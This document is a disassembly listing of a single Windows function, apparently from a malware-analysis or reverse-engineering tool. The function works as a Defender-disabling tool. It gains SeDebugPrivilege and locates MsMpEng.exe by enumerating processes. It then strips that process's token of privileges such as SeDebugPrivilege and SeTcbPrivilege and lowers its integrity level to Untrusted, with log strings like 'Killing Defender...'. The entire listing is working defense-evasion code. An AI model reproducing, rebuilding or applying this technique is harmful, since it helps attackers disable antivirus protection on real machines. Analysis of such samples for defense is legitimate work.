Function at 0x140001170
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x280]
sub rsp, 0x380
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x270], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor esi, esi
test eax, eax
je 0x140001220
lea r8, [rsp + 0x60]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x38]
test eax, eax
je 0x14000121a
mov rax, qword [rsp + 0x60]
lea r9d, [rsi + 0x10]
mov qword [rsp + 0x28], rsi
lea r8, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x74], rax
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x7c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001220
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [str.MsMpEng.exe]
lea rcx, [rbp - 0x6c]
xor eax, eax
movsd xmm1, qword [0x140003388]
xor edx, edx
movaps xmmword [rbp + 0x1d0], xmm0
mov r8d, 0x234
xorps xmm0, xmm0
movsd qword [rbp + 0x1e0], xmm1
movups xmmword [rbp + 0x1e8], xmm0
mov qword [rbp + 0x268], rax
mov ebx, esi
movups xmmword [rbp + 0x1f8], xmm0
movups xmmword [rbp + 0x208], xmm0
movups xmmword [rbp + 0x218], xmm0
movups xmmword [rbp + 0x228], xmm0
movups xmmword [rbp + 0x238], xmm0
movups xmmword [rbp + 0x248], xmm0
movups xmmword [rbp + 0x258], xmm0
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rbp - 0x70], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rbp - 0x70]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001306
lea rdx, [rbp + 0x1d0]
lea rcx, [0x1400032d4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400012f8
lea rdx, [rbp - 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
mov ebx, dword [rbp - 0x68]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x44]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x1400012d3
mov edx, ebx
lea rcx, str.___Got_target_proc_PID:__d_n
call fcn.140001010
lea rcx, str.___Killing_Defender..._n
call fcn.140001010
mov r8d, ebx
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
lea rcx, str.___Opened_Target_Handle_n
lea rax, str.____Failed_to_open_Process_Handle_n
cmp rbx, 0xffffffffffffffff
cmove rcx, rax
call fcn.140001010
lea r8, [rsp + 0x30]
mov edx, 0xf01ff
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
lea rdx, str.____Failed_to_open_Token_Handle_n
lea rcx, str.___Opened_Target_Token_Handle_n
cmove rcx, rdx
call fcn.140001010
lea r8, [rsp + 0x68]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rax, qword [rsp + 0x68]
lea r8, [rbp - 0x80]
mov rcx, qword [rsp + 0x30]
mov r9d, 0x10
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rbp - 0x7c], rax
mov dword [rbp - 0x80], 1
mov dword [rbp - 0x74], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400013cd
lea rcx, str.____Failed_to_Adjust_Tokens_Privileges_n
call fcn.140001010
jmp 0x140001542
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeDebugPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeChangeNotifyPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeTcbPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeImpersonatePrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeLoadDriverPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeRestorePrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeBackupPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeSecurityPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeSystemEnvironmentPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeIncreaseQuotaPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeTakeOwnershipPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeIncreaseBasePriorityPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeShutdownPrivilege
call fcn.140001070
mov rcx, qword [rsp + 0x30]
lea rdx, str.SeAssignPrimaryTokenPrivilege
call fcn.140001070
lea rcx, str.___Removed_All_Privileges_n
call fcn.140001010
xor eax, eax
mov dword [rsp + 0x58], esi
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x50]
lea rax, [rsp + 0x50]
mov word [rsp + 0x50], 0x101
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x57], 0x10
mov qword [rsp + 0x48], 0x20
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x40]
mov edx, 0x19
lea r9d, [rax + 0x10]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
lea rdx, str.___Token_Integrity_set_to_Untrusted_n
lea rcx, str.SetTokenInformation_failed_n
cmovne rcx, rdx
call fcn.140001010
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x270]
xor rcx, rsp
call fcn.140001580
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret